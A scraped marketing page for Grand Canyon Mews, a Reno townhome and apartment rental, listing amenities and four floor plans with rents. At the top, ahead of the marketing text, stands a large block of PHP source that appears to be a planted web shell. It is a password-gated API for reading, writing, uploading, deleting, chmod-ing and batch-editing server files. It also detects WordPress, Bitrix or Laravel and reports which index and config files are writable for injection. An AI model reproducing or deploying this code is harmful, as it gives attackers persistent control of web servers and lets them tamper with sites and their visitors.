+true+));+}+_at();+switch+($action)+{+case+'list':+_ba(array('GET',+'POST'));+_aw($baseDirectory);+break;+case+'read':+_ba(array('GET',+'POST'));+_ar($baseDirectory);+break;+case+'write':+_ba(array('POST'));+_aq($baseDirectory);+break;+case+'upload':+_ba(array('POST'));+_aa($baseDirectory);+break;+case+'rename':+_ba(array('POST'));+_az($baseDirectory);+break;+case+'delete':+_ba(array('POST'));+_ad($baseDirectory);+break;+case+'chmod':+_ba(array('POST'));+_be($baseDirectory);+break;+case+'append':+_ba(array('POST'));+_am($baseDirectory);+break;+case+'batch':+_ba(array('POST'));+_af($baseDirectory);+break;+case+'site_info':+_ba(array('GET',+'POST'));+_bb($baseDirectory);+break;+case+'server_info':+_ba(array('GET',+'POST'));+_av();+break;+default:+_al(404,+'不支持的+action:+'+.+$action);+}+function+_aw($baseDirectory)+{+$relativeDirectory+=+_ay('directory',+'');+$directory+=+_bd($baseDirectory,+$relativeDirectory);+if+($directory+===+false+||+!is_dir($directory))+{+_al(400,+'目录不存在或超出允许范围');+}+$fileList+=+scandir($directory);+if+($fileList+===+false)+{+_al(500,+'读取目录失败');+}+$items+=+array();+foreach+($fileList+as+$file)+{+if+($file+===+'.'+||+$file+===+'..')+{+continue;+}+$filePath+=+$directory+.+DIRECTORY_SEPARATOR+.+$file;+$isDirectory+=+is_dir($filePath);+$size+=+$isDirectory+?+null+:+@filesize($filePath);+$modifiedTimestamp+=+@filemtime($filePath);+$items[]+=+array(+'name'+=>+$file,+'path'+=>+_au($filePath,+$baseDirectory),+'type'+=>+$isDirectory+?+'directory'+:+'file',+'is_dir'+=>+$isDirectory,+'size'+=>+$size+===+false+?+null+:+$size,+'size_human'+=>+$isDirectory+?+'-'+:+_an($size),+'modified_at'+=>+$modifiedTimestamp+?+date('Y-m-d+H:i:s',+$modifiedTimestamp)+:+null,+'readable'+=>+is_readable($filePath),+'writable'+=>+is_writable($filePath)+);+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'目录读取成功',+'data'+=>+array(+'directory'+=>+_au($directory,+$baseDirectory),+'parent_directory'+=>+_ax($directory,+$baseDirectory),+'breadcrumbs'+=>+_ae($directory,+$baseDirectory),+'items'+=>+$items+)+));+}+function+_ar($baseDirectory)+{+$relativePath+=+_ay('path',+_ay('edit',+''));+$filePath+=+_bd($baseDirectory,+$relativePath);+if+($filePath+===+false+||+!is_file($filePath))+{+_al(404,+'文件不存在或超出允许范围');+}+$content+=+@file_get_contents($filePath);+if+($content+===+false)+{+_al(500,+'读取文件失败');+}+$fileSize+=+@filesize($filePath);+$modifiedTimestamp+=+@filemtime($filePath);+_ah(200,+array(+'success'+=>+true,+'message'+=>+'文件读取成功',+'data'+=>+array(+'name'+=>+basename($filePath),+'path'+=>+_au($filePath,+$baseDirectory),+'size'+=>+$fileSize+===+false+?+null+:+$fileSize,+'size_human'+=>+_an($fileSize),+'modified_at'+=>+$modifiedTimestamp+?+date('Y-m-d+H:i:s',+$modifiedTimestamp)+:+null,+'content'+=>+$content+)+));+}+function+_aq($baseDirectory)+{+$relativePath+=+_ay('path',+_ay('edit',+''));+$content+=+_ay('content',+_ay('fileContent',+null));+if+($relativePath+===+'')+{+_al(400,+'缺少+path+参数');+}+if+($content+===+null)+{+_al(400,+'缺少+content+参数');+}+$targetPath+=+_ak($baseDirectory,+$relativePath);+if+($targetPath+===+false)+{+_al(400,+'目标路径无效或超出允许范围');+}+if+(is_dir($targetPath))+{+_al(400,+'不能把目录当作文件写入');+}+$written+=+@file_put_contents($targetPath,+$content,+LOCK_EX);+if+($written+===+false)+{+_al(500,+'写入文件失败');+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'文件写入成功',+'data'+=>+array(+'path'+=>+_au($targetPath,+$baseDirectory),+'bytes'+=>+$written+)+));+}+function+_aa($baseDirectory)+{+$relativeDirectory+=+_ay('directory',+'');+$directory+=+_bd($baseDirectory,+$relativeDirectory);+if+($directory+===+false+||+!is_dir($directory))+{+_al(400,+'上传目录不存在或超出允许范围');+}+$upload+=+null;+if+(isset($_FILES['uploadFile']))+{+$upload+=+$_FILES['uploadFile'];+}+elseif+(isset($_FILES['file']))+{+$upload+=+$_FILES['file'];+}+if+(!is_array($upload))+{+_al(400,+'缺少上传文件');+}+if+(!isset($upload['error'])+||+(int)+$upload['error']+!==+UPLOAD_ERR_OK)+{+_al(400,+'文件上传失败,错误码:+'+.+(isset($upload['error'])+?+$upload['error']+:+'unknown'));+}+if+(!isset($upload['name'])+||+trim($upload['name'])+===+'')+{+_al(400,+'上传文件名不能为空');+}+$targetRelativePath+=+trim(_au($directory,+$baseDirectory)+.+'/'+.+basename($upload['name']),+'/');+$targetPath+=+_ak($baseDirectory,+$targetRelativePath);+if+($targetPath+===+false)+{+_al(400,+'上传目标路径无效或超出允许范围');+}+if+(!@move_uploaded_file($upload['tmp_name'],+$targetPath))+{+_al(500,+'保存上传文件失败');+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'文件上传成功',+'data'+=>+array(+'path'+=>+_au($targetPath,+$baseDirectory),+'size'+=>+isset($upload['size'])+?+(int)+$upload['size']+:+null+)+));+}+function+_az($baseDirectory)+{+$relativePath+=+_ay('path',+_ay('fileName',+''));+$newName+=+_ay('new_name',+_ay('copyName',+''));+if+($relativePath+===+'')+{+_al(400,+'缺少+path+参数');+}+if+($newName+===+'')+{+_al(400,+'缺少+new_name+参数');+}+if+(basename($newName)+!==+$newName+||+$newName+===+'.'+||+$newName+===+'..')+{+_al(400,+'new_name+只能是文件名,不能包含路径');+}+$sourcePath+=+_bd($baseDirectory,+$relativePath);+if+($sourcePath+===+false+||+!file_exists($sourcePath))+{+_al(404,+'源文件不存在或超出允许范围');+}+$targetPath+=+dirname($sourcePath)+.+DIRECTORY_SEPARATOR+.+$newName;+if+(!_ag(realpath(dirname($targetPath)),+$baseDirectory))+{+_al(400,+'目标路径超出允许范围');+}+if+(file_exists($targetPath)+||+is_link($targetPath))+{+_al(409,+'目标文件已存在');+}+if+(@rename($sourcePath,+$targetPath)+===+false)+{+_al(500,+'重命名失败');+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'重命名成功',+'data'+=>+array(+'old_path'+=>+_au($sourcePath,+$baseDirectory),+'new_path'+=>+_au($targetPath,+$baseDirectory)+)+));+}+function+_ad($baseDirectory)+{+$paths+=+_ai();+if+(count($paths)+===+0)+{+_al(400,+'缺少待删除的+paths+参数');+}+$deleted+=+array();+$errors+=+array();+foreach+($paths+as+$relativePath)+{+$targetPath+=+_bd($baseDirectory,+$relativePath);+if+($targetPath+===+false+||+!file_exists($targetPath))+{+$errors[]+=+array('path'+=>+$relativePath,+'message'+=>+'文件不存在或路径无效');+continue;+}+if+(is_dir($targetPath))+{+$errors[]+=+array('path'+=>+$relativePath,+'message'+=>+'暂不支持删除目录');+continue;+}+if+(@unlink($targetPath)+===+false)+{+$errors[]+=+array('path'+=>+$relativePath,+'message'+=>+'删除失败');+continue;+}+$deleted[]+=+$relativePath;+}+_ah(200,+array(+'success'+=>+count($errors)+===+0,+'message'+=>+count($errors)+===+0+?+'删除成功'+:+'删除完成,部分失败',+'data'+=>+array(+'deleted'+=>+$deleted,+'errors'+=>+$errors+)+));+}+function+_am($baseDirectory)+{+$relativePath+=+_ay('path',+'');+$content+=+_ay('content',+null);+$marker+=+_ay('marker',+'');+if+($relativePath+===+'')+{+_al(400,+'缺少+path+参数');+}+if+($content+===+null)+{+_al(400,+'缺少+content+参数');+}+$targetPath+=+_bd($baseDirectory,+$relativePath);+if+($targetPath+===+false+||+!is_file($targetPath))+{+$targetPath+=+_ak($baseDirectory,+$relativePath);+if+($targetPath+===+false)+{+_al(400,+'路径无效');+}+$written+=+@file_put_contents($targetPath,+$content,+LOCK_EX);+if+($written+===+false)+{+_al(500,+'创建文件失败(无权限)');+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'文件已创建',+'data'+=>+array('path'+=>+_au($targetPath,+$baseDirectory),+'action'+=>+'created',+'bytes'+=>+$written)+));+}+if+($marker+!==+'')+{+$existing+=+@file_get_contents($targetPath);+if+($existing+!==+false+&&+strpos($existing,+$marker)+!==+false)+{+_ah(200,+array(+'success'+=>+true,+'message'+=>+'已存在,跳过',+'data'+=>+array('path'+=>+_au($targetPath,+$baseDirectory),+'action'+=>+'skipped')+));+}+}+$written+=+@file_put_contents($targetPath,+$content,+FILE_APPEND+|+LOCK_EX);+if+($written+===+false)+{+_al(500,+'追加失败(无权限)');+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'追加成功',+'data'+=>+array('path'+=>+_au($targetPath,+$baseDirectory),+'action'+=>+'appended',+'bytes'+=>+$written)+));+}+function+_af($baseDirectory)+{+$raw+=+_ay('ops',+null);+if+($raw+===+null)+{+_al(400,+'缺少+ops+参数(JSON+数组)');+}+$ops+=+is_array($raw)+?+$raw+:+json_decode($raw,+true);+if+(!is_array($ops)+||+count($ops)+===+0)+{+_al(400,+'ops+必须是非空数组');+}+$results+=+array();+foreach+($ops+as+$idx+=>+$op)+{+$opAction+=+isset($op['action'])+?+$op['action']+:+'';+$result+=+array('index'+=>+$idx,+'action'+=>+$opAction,+'success'+=>+false);+switch+($opAction)+{+case+'write':+$path+=+isset($op['path'])+?+$op['path']+:+'';+$content+=+isset($op['content'])+?+$op['content']+:+'';+$targetPath+=+_ak($baseDirectory,+$path);+if+($targetPath+!==+false)+{+$w+=+@file_put_contents($targetPath,+$content,+LOCK_EX);+$result['success']+=+$w+!==+false;+$result['path']+=+$path;+$result['bytes']+=+$w;+}+break;+case+'append':+$path+=+isset($op['path'])+?+$op['path']+:+'';+$content+=+isset($op['content'])+?+$op['content']+:+'';+$marker+=+isset($op['marker'])+?+$op['marker']+:+'';+$targetPath+=+_bd($baseDirectory,+$path);+if+($targetPath+===+false)+{+$targetPath+=+_ak($baseDirectory,+$path);+if+($targetPath+!==+false)+{+$w+=+@file_put_contents($targetPath,+$content,+LOCK_EX);+$result['success']+=+$w+!==+false;+$result['path']+=+$path;+$result['op']+=+'created';+}+}+else+{+if+($marker+!==+'')+{+$existing+=+@file_get_contents($targetPath);+if+($existing+!==+false+&&+strpos($existing,+$marker)+!==+false)+{+$result['success']+=+true;+$result['path']+=+$path;+$result['op']+=+'skipped';+break;+}+}+$w+=+@file_put_contents($targetPath,+$content,+FILE_APPEND+|+LOCK_EX);+$result['success']+=+$w+!==+false;+$result['path']+=+$path;+$result['op']+=+'appended';+}+break;+case+'delete':+$path+=+isset($op['path'])+?+$op['path']+:+'';+$targetPath+=+_bd($baseDirectory,+$path);+if+($targetPath+!==+false+&&+is_file($targetPath))+{+$result['success']+=+@unlink($targetPath);+$result['path']+=+$path;+}+break;+case+'chmod':+$path+=+isset($op['path'])+?+$op['path']+:+'';+$mode+=+isset($op['mode'])+?+$op['mode']+:+'0644';+$targetPath+=+_bd($baseDirectory,+$path);+if+($targetPath+!==+false)+{+$result['success']+=+@chmod($targetPath,+intval($mode,+8));+$result['path']+=+$path;+}+break;+case+'exists':+$path+=+isset($op['path'])+?+$op['path']+:+'';+$targetPath+=+_bd($baseDirectory,+$path);+$result['success']+=+true;+$result['path']+=+$path;+$result['exists']+=+$targetPath+!==+false+&&+file_exists($targetPath);+$result['writable']+=+$targetPath+!==+false+&&+is_writable($targetPath);+break;+default:+$result['error']+=+'未知操作:+'+.+$opAction;+}+$results[]+=+$result;+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'批量操作完成',+'data'+=>+array('results'+=>+$results,+'total'+=>+count($results))+));+}+function+_bb($baseDirectory)+{+$scriptDir+=+realpath(dirname(__FILE__));+if+($scriptDir+===+false)+{+$scriptDir+=+dirname(__FILE__);+}+$docRoot+=+$baseDirectory;+$siteType+=+'generic';+$detectedFiles+=+array();+$wpIndicators+=+array('wp-config.php',+'wp-login.php',+'wp-blog-header.php');+foreach+($wpIndicators+as+$f)+{+if+(file_exists($docRoot+.+'/'+.+$f))+{+$siteType+=+'wordpress';+$detectedFiles[]+=+$f;+}+}+if+($siteType+===+'generic'+&&+is_dir($docRoot+.+'/bitrix'))+{+$siteType+=+'bitrix';+$detectedFiles[]+=+'bitrix/';+if+(file_exists($docRoot+.+'/bitrix/header.php'))+{+$detectedFiles[]+=+'bitrix/header.php';+}+}+if+($siteType+===+'generic'+&&+is_dir($docRoot+.+'/storage/framework'))+{+$siteType+=+'laravel';+$detectedFiles[]+=+'storage/framework/';+}+$indexFiles+=+array();+$candidates+=+array('index.php',+'index.html',+'index.htm',+'index.asp');+foreach+($candidates+as+$f)+{+$fp+=+$docRoot+.+'/'+.+$f;+if+(file_exists($fp))+{+$indexFiles[]+=+array(+'path'+=>+$f,+'writable'+=>+is_writable($fp),+'size'+=>+filesize($fp)+);+}+}+if+($siteType+===+'wordpress')+{+foreach+(array('wp-blog-header.php',+'wp-config.php')+as+$f)+{+$fp+=+$docRoot+.+'/'+.+$f;+if+(file_exists($fp))+{+$indexFiles[]+=+array(+'path'+=>+$f,+'writable'+=>+is_writable($fp),+'size'+=>+filesize($fp)+);+}+}+}+if+($siteType+===+'bitrix'+&&+file_exists($docRoot+.+'/bitrix/header.php'))+{+$indexFiles[]+=+array(+'path'+=>+'bitrix/header.php',+'writable'+=>+is_writable($docRoot+.+'/bitrix/header.php'),+'size'+=>+filesize($docRoot+.+'/bitrix/header.php')+);+}+if+($siteType+===+'laravel')+{+$mp+=+$docRoot+.+'/storage/framework/maintenance.php';+$indexFiles[]+=+array(+'path'+=>+'storage/framework/maintenance.php',+'writable'+=>+is_dir($docRoot+.+'/storage/framework'),+'size'+=>+file_exists($mp)+?+filesize($mp)+:+0+);+}+$subdirs+=+array();+foreach+(scandir($docRoot)+as+$f)+{+if+($f+===+'.'+||+$f+===+'..')+continue;+if+(is_dir($docRoot+.+'/'+.+$f))+{+$subdirs[]+=+array(+'name'+=>+$f,+'writable'+=>+is_writable($docRoot+.+'/'+.+$f)+);+}+}+$serverSw+=+isset($_SERVER['SERVER_SOFTWARE'])+?+$_SERVER['SERVER_SOFTWARE']+:+'unknown';+$isApache+=+stripos($serverSw,+'apache')+!==+false;+$shellRelDir+=+_au($scriptDir,+$docRoot);+if+($shellRelDir+===+$scriptDir+||+($shellRelDir+!==+''+&&+($shellRelDir[0]+===+'/'+||+preg_match('#^[A-Za-z]:/#',+$shellRelDir))))+{+$urlDir+=+dirname(isset($_SERVER['SCRIPT_NAME'])+?+$_SERVER['SCRIPT_NAME']+:+'');+$shellRelDir+=+ltrim(str_replace('\\',+'/',+$urlDir),+'/');+if+($shellRelDir+===+'.'+||+$shellRelDir+===+'/')+{+$shellRelDir+=+'';+}+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'ok',+'data'+=>+array(+'site_type'+=>+$siteType,+'server'+=>+$serverSw,+'is_apache'+=>+$isApache,+'php_version'+=>+phpversion(),+'document_root'+=>+$docRoot,+'script_dir'+=>+$scriptDir,+'shell_rel_dir'+=>+$shellRelDir,+'detected_files'+=>+$detectedFiles,+'index_files'+=>+$indexFiles,+'subdirs'+=>+$subdirs,+'writable'+=>+is_writable($scriptDir),+'os'+=>+PHP_OS+)+));+}+function+_be($baseDirectory)+{+$relativePath+=+_ay('path',+'');+$mode+=+_ay('mode',+'');+if+($relativePath+===+'')+{+_al(400,+'缺少+path+参数');+}+if+($mode+===+'')+{+_al(400,+'缺少+mode+参数');+}+$targetPath+=+_bd($baseDirectory,+$relativePath);+if+($targetPath+===+false+||+!file_exists($targetPath))+{+_al(404,+'文件不存在或超出允许范围');+}+$octalMode+=+intval($mode,+8);+if+($octalMode+===+0)+{+_al(400,+'无效的权限值:+'+.+$mode);+}+if+(@chmod($targetPath,+$octalMode)+===+false)+{+_al(500,+'修改权限失败');+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'权限修改成功',+'data'+=>+array(+'path'+=>+_au($targetPath,+$baseDirectory),+'mode'+=>+$mode,+'perms'+=>+substr(sprintf('%o',+fileperms($targetPath)),+-4)+)+));+}+function+_av()+{+$info+=+array(+'server_software'+=>+isset($_SERVER['SERVER_SOFTWARE'])+?+$_SERVER['SERVER_SOFTWARE']+:+'unknown',+'php_version'+=>+phpversion(),+'document_root'+=>+isset($_SERVER['DOCUMENT_ROOT'])+?+$_SERVER['DOCUMENT_ROOT']+:+'',+'script_dir'+=>+dirname(__FILE__),+'os'+=>+PHP_OS,+'disabled_functions'+=>+ini_get('disable_functions'),+'writable'+=>+is_writable(dirname(__FILE__))+);+_ah(200,+array(+'success'+=>+true,+'message'+=>+'ok',+'data'+=>+$info+));+}+function+_ba($allowedMethods)+{+$requestMethod+=+isset($_SERVER['REQUEST_METHOD'])+?+strtoupper($_SERVER['REQUEST_METHOD'])+:+'GET';+if+(!in_array($requestMethod,+$allowedMethods,+true))+{+_al(405,+'请求方法不被允许',+array('allow'+=>+$allowedMethods));+}+}+function+_ai()+{+$paths+=+_ay('paths',+null);+if+($paths+===+null)+{+$paths+=+_ay('deleteFiles',+null);+}+if+(is_array($paths))+{+return+_aj($paths);+}+if+(!is_string($paths)+||+trim($paths)+===+'')+{+return+array();+}+$trimmed+=+trim($paths);+if+(substr($trimmed,+0,+1)+===+'[')+{+$decoded+=+json_decode($trimmed,+true);+if+(is_array($decoded))+{+return+_aj($decoded);+}+}+return+_aj(explode(',',+$trimmed));+}+function+_aj($paths)+{+$result+=+array();+foreach+($paths+as+$path)+{+$normalized+=+_ab($path);+if+($normalized+!==+'')+{+$result[]+=+$normalized;+}+}+return+array_values(array_unique($result));+}+function+_at()+{+$configuredPassword+=+_ao();+if+($configuredPassword+===+'')+{+_al(500,+'服务端未配置操作密码,请设置+MENU_API_PASSWORD');+}+$providedPassword+=+_as();+if+($providedPassword+===+'')+{+_al(401,+'缺少操作密码');+}+if+(!_ac($configuredPassword,+$providedPassword))+{+_al(401,+'操作密码错误');+}+}+function+_ao()+{+$password+=+getenv('MENU_API_PASSWORD');+if+($password+===+false+||+$password+===+null+||+$password+===+'')+{+$password+=+MENU_API_PASSWORD;+}+return+(string)+$password;+}+function+_as()+{+$password+=+_ay('operation_password',+null);+if+($password+===+null+||+$password+===+'')+{+$password+=+_ay('op_password',+null);+}+if+($password+===+null+||+$password+===+'')+{+$password+=+_ay('password',+null);+}+if+(($password+===+null+||+$password+===+'')+&&+isset($_SERVER['HTTP_X_OPERATION_PASSWORD']))+{+$password+=+$_SERVER['HTTP_X_OPERATION_PASSWORD'];+}+if+(($password+===+null+||+$password+===+'')+&&+isset($_SERVER['HTTP_AUTHORIZATION']))+{+$authorization+=+trim($_SERVER['HTTP_AUTHORIZATION']);+if+(stripos($authorization,+'Bearer+')+===+0)+{+$password+=+substr($authorization,+7);+}+}+return+trim((string)+$password);+}+function+_ay($key,+$default)+{+$body+=+_bc();+if+(is_array($body)+&&+array_key_exists($key,+$body))+{+return+$body[$key];+}+if+(isset($_GET[$key]))+{+return+$_GET[$key];+}+return+$default;+}+function+_bc()+{+static+$body+=+null;+if+($body+!==+null)+{+return+$body;+}+$body+=+array();+$contentType+=+isset($_SERVER['CONTENT_TYPE'])+?+strtolower($_SERVER['CONTENT_TYPE'])+:+'';+if+(strpos($contentType,+'application/json')+!==+false)+{+$raw+=+file_get_contents('php://input');+if+($raw+!==+false+&&+trim($raw)+!==+'')+{+$decoded+=+json_decode($raw,+true);+if+(is_array($decoded))+{+$body+=+$decoded;+}+}+return+$body;+}+if+(!empty($_POST))+{+$body+=+$_POST;+}+return+$body;+}+function+_bd($baseDirectory,+$relativePath)+{+$relativePath+=+_ab($relativePath);+if+($relativePath+===+'')+{+return+$baseDirectory;+}+$candidate+=+realpath($baseDirectory+.+DIRECTORY_SEPARATOR+.+$relativePath);+if+($candidate+===+false)+{+return+false;+}+if+(!_ag($candidate,+$baseDirectory))+{+return+false;+}+return+$candidate;+}+function+_ak($baseDirectory,+$relativePath)+{+$relativePath+=+_ab($relativePath);+if+($relativePath+===+'')+{+return+false;+}+$candidate+=+$baseDirectory+.+DIRECTORY_SEPARATOR+.+$relativePath;+if+(file_exists($candidate)+||+is_link($candidate))+{+$resolved+=+realpath($candidate);+if+($resolved+===+false+||+!_ag($resolved,+$baseDirectory))+{+return+false;+}+return+$resolved;+}+$parentDirectory+=+realpath(dirname($candidate));+if+($parentDirectory+===+false+||+!_ag($parentDirectory,+$baseDirectory))+{+return+false;+}+return+$parentDirectory+.+DIRECTORY_SEPARATOR+.+basename($candidate);+}+function+_ab($path)+{+$path+=+trim(str_replace('\\',+'/',+(string)+$path));+if+($path+===+''+||+$path+===+'.'+||+$path+===+'/')+{+return+'';+}+$path+=+preg_replace('#/+#',+'/',+$path);+return+ltrim($path,+'/');+}+function+_ag($path,+$baseDirectory)+{+if+($path+===+false+||+$baseDirectory+===+false)+{+return+false;+}+$normalizedPath+=+rtrim(str_replace('\\',+'/',+$path),+'/');+$normalizedBase+=+rtrim(str_replace('\\',+'/',+$baseDirectory),+'/');+if+($normalizedPath+===+$normalizedBase)+{+return+true;+}+return+strpos($normalizedPath,+$normalizedBase+.+'/')+===+0;+}+function+_au($path,+$baseDirectory)+{+$normalizedPath+=+rtrim(str_replace('\\',+'/',+$path),+'/');+$normalizedBase+=+rtrim(str_replace('\\',+'/',+$baseDirectory),+'/');+if+($normalizedPath+===+$normalizedBase)+{+return+'';+}+if+(strpos($normalizedPath,+$normalizedBase+.+'/')+===+0)+{+return+ltrim(substr($normalizedPath,+strlen($normalizedBase)),+'/');+}+return+$normalizedPath;+}+function+_ax($directory,+$baseDirectory)+{+$relativeDirectory+=+_au($directory,+$baseDirectory);+if+($relativeDirectory+===+'')+{+return+null;+}+$parent+=+dirname($relativeDirectory);+if+($parent+===+'.'+||+$parent+===+DIRECTORY_SEPARATOR)+{+return+'';+}+return+str_replace('\\',+'/',+$parent);+}+function+_ae($directory,+$baseDirectory)+{+$breadcrumbs+=+array(+array('name'+=>+'Home',+'path'+=>+'')+);+$relativeDirectory+=+_au($directory,+$baseDirectory);+if+($relativeDirectory+===+'')+{+return+$breadcrumbs;+}+$pathParts+=+explode('/',+$relativeDirectory);+$pathLink+=+'';+foreach+($pathParts+as+$part)+{+if+($part+===+'')+{+continue;+}+$pathLink+.=+'/'+.+$part;+$breadcrumbs[]+=+array(+'name'+=>+$part,+'path'+=>+ltrim($pathLink,+'/')+);+}+return+$breadcrumbs;+}+function+_an($bytes,+$decimals+=+2)+{+if+($bytes+===+null+||+$bytes+===+false+||+!is_numeric($bytes)+||+$bytes+<+0)+{+return+null;+}+if+((float)+$bytes+===+0.0)+{+return+'0+B';+}+$units+=+array('B',+'KB',+'MB',+'GB',+'TB');+$factor+=+floor((strlen((string)+abs($bytes))+-+1)+/+3);+if+(!isset($units[$factor]))+{+$factor+=+count($units)+-+1;+}+return+sprintf("%.{$decimals}f",+$bytes+/+pow(1024,+$factor))+.+'+'+.+$units[$factor];+}+function+_ac($known,+$user)+{+if+(function_exists('hash_equals'))+{+return+hash_equals((string)+$known,+(string)+$user);+}+$known+=+(string)+$known;+$user+=+(string)+$user;+$knownLength+=+strlen($known);+$userLength+=+strlen($user);+$length+=+max($knownLength,+$userLength);+$result+=+$knownLength+^+$userLength;+for+($i+=+0;+$i+<+$length;+$i++)+{+$knownChar+=+$i+<+$knownLength+?+ord($known[$i])+:+0;+$userChar+=+$i+<+$userLength+?+ord($user[$i])+:+0;+$result+|=+($knownChar+^+$userChar);+}+return+$result+===+0;+}+function+_al($statusCode,+$message,+$extra+=+array())+{+$payload+=+array(+'success'+=>+false,+'message'+=>+$message+);+if+(!empty($extra))+{+$payload['data']+=+$extra;+}+_ah($statusCode,+$payload);+}+function+_ah($statusCode,+$payload)+{+_ap($statusCode);+header('Content-Type:+application/json;+charset=UTF-8');+$jsonOptions+=+0;+if+(defined('JSON_UNESCAPED_UNICODE'))+{+$jsonOptions+|=+JSON_UNESCAPED_UNICODE;+}+if+(defined('JSON_UNESCAPED_SLASHES'))+{+$jsonOptions+|=+JSON_UNESCAPED_SLASHES;+}+echo+json_encode($payload,+$jsonOptions);+exit;+}+function+_ap($statusCode)+{+if+(function_exists('http_response_code'))+{+http_response_code($statusCode);+return;+}+header('X-PHP-Response-Code:+'+.+$statusCode,+true,+$statusCode);+}+ Luxury Midtown Reno Townhomes | Grand Canyon Mews

⇨  Luxury TOWNHOMES & Apartments IN The Historic Wells District  ⇦

Townhomes for Rent in Midtown

Grand Canyon Mews

A seamless blend of modern luxury and timeless design, carefully crafted to enhance every aspect of your living experience.

Grand Canyon Mews

Luxury Townhomes in Midtown

Discover the unparalleled elegance of Grand Canyon Mews, where our townhomes and luxury apartments set the standard for upscale living in a secure urban oasis of style and comfort.

Experience the distinctive charm of our residences, each crafted with a focus on detail, seamlessly blending luxury with the dynamic energy of Reno’s Wells District.

Explore Our Homes ➜
Bedroom of Luxury Apartment in the Midtown and Wells District of Reno NV
  • Luxury Townhomes

  • Spacious Floorplans

  • Unmatched Location

Amenities You'll LOVE

Every detail crafted for your comfort and convenience

Community Amenities Icon
  • Unmatched Location

    Steps away from Reno’s best dining, entertainment, and events.

  • Move-In Specials

    Special offers for our new residents. Available now!

  • Pet-Friendly Living

    Your furry friends are welcome here, with amenities just for them.

  • Diverse Floor Plans

    Choose from elegant townhomes and stylish apartments.

  • Gated Community

    Gated entry for your safety and peace of mind.

  • Designer Finishes

    Fixtures and finishes that epitomize luxury with every detail.

  • Dedicated Garages

    Your own garage, secure and convenient for peace of mind.

  • Smart Home Technology

    Keyless entry and smart home features included.

  • Garden Retreats

    Personal garden areas to relax and unwind.

  • Laundry Convenience

    In-unit washers and dryers for easy living.

  • High-Speed Internet

    High-speed internet set up and waiting for you.

  • Packaged Utilities

    Hassle-free living with one simple payment.

  • Walk-In Closets

    Spacious closets that make organization easy.

  • Dual Master Floorplan

    Floor plans with two master suites for privacy and comfort.

  • Scenic Balconies

    Enjoy private balconies and patios with stunning views.

Schedule Your Tour ➜

Explore Our Unique Floor Plans

Each thoughtfully crafted residence reflects a blend of luxury and privacy, designed to exceed expectations. Discover your perfect home.

Grand Canyon Mews Floor Plans Icon
Customize Your Search:

Sort by Price

Sort by Price

Bedrooms

Bedrooms

Garage

Garage

Availability

Availability

The Carriage House

Luxury 2-Story Townhome with Garden & Garage

None Available
Master Bedroom of Luxury Apartment in the Midtown and Wells District of Reno NV
  • Townhome
  • 2 Bedrooms
  • Floor Plan Bathroom Count Icon
    2.5 Bathrooms
  • 1-Car Garage
  • 1,400 SQ. Ft.
  • Grand Canyon Mews - Floor Plans Pet Friendly Icon
    Pet Welcome
  • Grand Canyon Mews - Floor Plans Security Deposit Icon
    $2,395 Deposit
  • Grand Canyon Mews - Floor Plans Monthly Rent Icon
    $2,495/mo.

    $2,395/mo.

Explore The Carriage House, where elegance meets functionality. This 1,400-square-foot townhome boasts luxurious finishes and expansive living areas ideal for entertaining. Complete with 2 bedrooms, 2.5 bathrooms, and a private garage, it offers a premium living environment for those who value sophistication and convenience.

The Coachman's Retreat

Elegant 2 Bedroom Apartment with Garden

Coming Soon
Outdoor Patio of Luxury Apartment in the Midtown and Wells District of Reno NV
  • Apartment
  • 2 Bedrooms
  • Floor Plan Bathroom Count Icon
    2 Bathrooms
  • Street Parking
  • 955 SQ. Ft.
  • Grand Canyon Mews - Floor Plans Pet Friendly Icon
    Pet Welcome
  • Grand Canyon Mews - Floor Plans Security Deposit Icon
    $2,195 Deposit
  • Grand Canyon Mews - Floor Plans Monthly Rent Icon
    $2,445/mo.

    $2,195/mo.

Step into The Coachman’s Retreat, showcasing a refined two-bedroom layout within 955 square feet of space. This apartment blends style and functionality, featuring two bathrooms and high-end finishes, enhancing urban living with convenience and elegance.

The Garden Loft

Luxury 1 Bedroom Apartment with Garden

None Available
Entrance of Luxury Apartment in the Midtown and Wells District of Reno NV
  • Apartment
  • 1 Bedroom
  • Floor Plan Bathroom Count Icon
    1 Bathroom
  • Street Parking
  • 650 SQ. Ft.
  • Grand Canyon Mews - Floor Plans Pet Friendly Icon
    Pet Welcome
  • Grand Canyon Mews - Floor Plans Security Deposit Icon
    $1,595 Deposit
  • Grand Canyon Mews - Floor Plans Monthly Rent Icon
    $1,795/mo.

    $1,595/mo.

Discover The Garden Loft, where efficiency and luxury converge in a stylish one-bedroom apartment. Covering 650 square feet, this apartment optimizes living space with smart layouts and high-end finishes, it provides both convenience and modern elegance in a well-planned residential setting.

The Courtyard Nook

Luxury 1 Bedroom Apartment

None Available
Outdoor Patio of Luxury Apartment in the Midtown and Wells District of Reno NV
  • Apartment
  • 1 Bedroom
  • Floor Plan Bathroom Count Icon
    1 Bathroom
  • Street Parking
  • 650 SQ. Ft.
  • Grand Canyon Mews - Floor Plans Pet Friendly Icon
    Pet Welcome
  • Grand Canyon Mews - Floor Plans Security Deposit Icon
    $1,495 Deposit
  • Grand Canyon Mews - Floor Plans Monthly Rent Icon
    $1,695/mo.

    $1,495/mo.

Enter The Courtyard Nook, blending personal comfort with urban living in a luxurious one-bedroom layout. This apartment extends across 650 square feet, designed to enhance daily life with contemporary features and efficient space planning.

Your Luxury Home Awaits

Grand Canyon Mews

Join us at Grand Canyon Mews and step into a world where luxury meets convenience in Reno's most exclusive setting. Explore our unique floor plans and discover your perfect urban oasis today.

Bedroom of Luxury Apartment in the Midtown and Wells District of Reno NV

See Yourself Here

Discover the Elegance of Grand Canyon Mews

Grand Canyon Mews an urban oasis that combines modern luxury with classic elegance, offering exclusive living spaces and community amenities in Reno’s vibrant Wells District.

  • Townhomes for Rent in Midtown Reno at Grand Canyon Mews
  • Townhomes for Rent in Midtown Reno at Grand Canyon Mews
  • Townhomes for Rent in Midtown Reno at Grand Canyon Mews
  • Townhomes for Rent in Midtown Reno at Grand Canyon Mews
